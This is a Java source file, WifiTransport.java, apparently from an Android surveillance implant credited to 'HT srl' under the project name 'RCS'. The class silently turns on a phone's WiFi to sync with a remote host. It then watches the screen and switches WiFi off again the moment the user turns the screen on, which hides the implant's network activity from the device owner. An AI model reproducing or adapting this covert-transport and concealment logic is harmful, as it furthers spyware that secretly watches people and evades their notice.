/* ******************************************* * Copyright (c) 2011 * HT srl, All rights reserved. * Project : RCS, AndroidService * File : WifiTransport.java * Created : Apr 9, 2011 * Author : zeno * *******************************************/ package com.android.dvci.action.sync; import android.content.Context; import android.net.ConnectivityManager; import android.net.NetworkInfo; import android.net.wifi.WifiManager; import com.android.dvci.Device; import com.android.dvci.Standby; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.interfaces.Observer; import com.android.dvci.listener.ListenerStandby; import com.android.dvci.util.Check; import com.android.dvci.util.Utils; /** * The Class WifiTransport. */ public class WifiTransport extends HttpKeepAliveTransport implements Observer<Standby> { private static final String TAG = "WifiTransport"; //$NON-NLS-1$ /** The forced. */ private boolean forced; private boolean switchedOn; // final String service = Context.WIFI_SERVICE; final WifiManager wifi = (WifiManager) Status.getAppContext().getSystemService(Context.WIFI_SERVICE); private final ConnectivityManager connManager = (ConnectivityManager) Status.getAppContext().getSystemService( Context.CONNECTIVITY_SERVICE); private int ip; /** * Instantiates a new wifi transport. * * @param host * the host */ public WifiTransport(final String host) { super(host); } /** * Instantiates a new wifi transport. * * @param host * the host * @param wifiForced * the wifi forced */ public WifiTransport(final String host, final boolean wifiForced) { super(host); // this.ip = lookupHost(host); this.forced = wifiForced; } /* * (non-Javadoc) * * @see com.ht.AndroidServiceGUI.action.sync.Transport#isAvailable() */ @Override public boolean isAvailable() { if (Device.self().isSimulator()) { return true; } // NetworkInfo mWifi = // connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI); // boolean available = mWifi.isAvailable() && /*mWifi.isConnected()*/ // mWifi.isConnectedOrConnecting(); boolean available = Status.wifiConnected; if (available) { connManager.setNetworkPreference(ConnectivityManager.TYPE_WIFI); }else{ NetworkInfo networkInfo = connManager.getNetworkInfo(ConnectivityManager.TYPE_WIFI); return networkInfo.isAvailable(); } return available; } @Override public boolean enable() { if (Cfg.DEBUG) { Check.log(TAG + " (enable): forced: " + forced + " wifiState: " + wifi.getWifiState()); //$NON-NLS-1$ } if (forced == false) { if (Cfg.DEBUG) { Check.log(TAG + " (enable): wifi connectivity won't be forced, force flag is disabled"); //$NON-NLS-1$ } return false; } // wifi.reconnect(); // wifi.reassociate(); // ConnectivityManager.setNetworkPrefrence(ConnectivityManager.TYPE_WIFI) if (wifi.getWifiState() == WifiManager.WIFI_STATE_ENABLED || wifi.getWifiState() == WifiManager.WIFI_STATE_ENABLING) { if (Cfg.DEBUG) { Check.log(TAG + " (enable): wifi already on, forcing not required"); //$NON-NLS-1$ } return true; } if (Cfg.DEBUG) { Check.log(TAG + " (enable): trying to enable wifi");//$NON-NLS-1$ } switchedOn = wifi.setWifiEnabled(true); if (switchedOn == false) { if (Cfg.DEBUG) { Check.log(TAG + " (enable): cannot enable WiFi interface"); //$NON-NLS-1$ } } else { for (int i = 0; i < 30; i++) { if (isAvailable()) { return true; } Utils.sleep(1000); } if (Cfg.ENABLE_WIFI_DISABLE) { if (switchedOn && !ListenerStandby.self().isScreenOn()) { if (Cfg.DEBUG) { Check.log(TAG + " (enable) ListenerStandby start"); } ListenerStandby.self().attach(this); } } } if (Cfg.DEBUG) { Check.log(TAG + " (enable) finished " + isAvailable()); } return false; } @Override public void close() { super.close(); if (switchedOn) { if (Cfg.DEBUG) { Check.log(TAG + " (close) detach Standby"); } if (Cfg.ENABLE_WIFI_DISABLE) { ListenerStandby.self().detach(this); } wifi.setWifiEnabled(false); switchedOn = false; } } @Override public int notification(Standby b) { if (Cfg.ENABLE_WIFI_DISABLE) { if (b.isScreenOn() && switchedOn) { if (Cfg.DEBUG) { Check.log(TAG + " (notification) Switching off because screen is on"); } ListenerStandby.self().detach(this); wifi.setWifiEnabled(false); switchedOn = false; } } return 0; } }